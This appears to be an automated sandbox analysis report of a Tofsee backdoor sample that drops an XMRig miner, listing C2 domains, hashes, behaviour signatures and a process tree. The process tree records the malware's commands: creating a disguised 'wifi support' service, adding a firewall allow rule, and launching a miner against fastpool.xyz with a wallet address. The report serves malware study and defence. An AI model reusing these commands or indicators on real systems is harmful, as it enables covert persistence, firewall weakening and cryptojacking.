Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2023, 10:34

General

  • Target
    file.exe
  • Size 196KB
  • Sample230121-ml4pgsdf6w
  • SHA256 4ec9ed7073aca31ee39ab8df509603ec9bce3ddd9f7a8e53074e93563b1bd151
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ohkgfepf\
      2⤵
        PID:1876
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sikxogr.exe" C:\Windows\SysWOW64\ohkgfepf\
        2⤵
          PID:4076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ohkgfepf binPath= "C:\Windows\SysWOW64\ohkgfepf\sikxogr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ohkgfepf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ohkgfepf
          2⤵
          • Launches sc.exe
          PID:540
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4248 -s 804
          2⤵
          • Program crash
          PID:4104
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4248 -ip 4248
        1⤵
          PID:2092
        • C:\Windows\SysWOW64\ohkgfepf\sikxogr.exe
          C:\Windows\SysWOW64\ohkgfepf\sikxogr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4492
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3436
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 520
            2⤵
            • Program crash
            PID:3464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4524 -ip 4524
          1⤵
            PID:4564

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                sikxogr.exe

                • Path C:\Users\Admin\AppData\Local\Temp\sikxogr.exe
                • Size 10.2MB
                • SHA256 4b8c8d562b6a51c4e2d5cf04e39b9cb86c63593c6ce50c8ad263e744be2a720a
                • MD5 SHA1 SHA512 SSDEEP

                sikxogr.exe

                • Path C:\Windows\SysWOW64\ohkgfepf\sikxogr.exe
                • Size 10.2MB
                • SHA256 4b8c8d562b6a51c4e2d5cf04e39b9cb86c63593c6ce50c8ad263e744be2a720a
                • MD5 SHA1 SHA512 SSDEEP

                memory/3436-177-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/3436-172-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/4248-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4248-133-0x0000000002D30000-0x0000000002D43000-memory.dmp

                memory/4248-143-0x0000000002D90000-0x0000000002DA3000-memory.dmp

                memory/4248-144-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4248-132-0x0000000002D90000-0x0000000002DA3000-memory.dmp

                memory/4492-146-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/4492-151-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/4492-152-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/4492-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/4492-156-0x00000000005F0000-0x00000000005F6000-memory.dmp

                memory/4492-159-0x0000000000A00000-0x0000000000A10000-memory.dmp

                memory/4492-162-0x0000000000A10000-0x0000000000A15000-memory.dmp

                memory/4492-165-0x0000000007000000-0x000000000740B000-memory.dmp

                memory/4492-168-0x00000000017D0000-0x00000000017D7000-memory.dmp

                memory/4524-150-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4524-149-0x0000000002D99000-0x0000000002DAC000-memory.dmp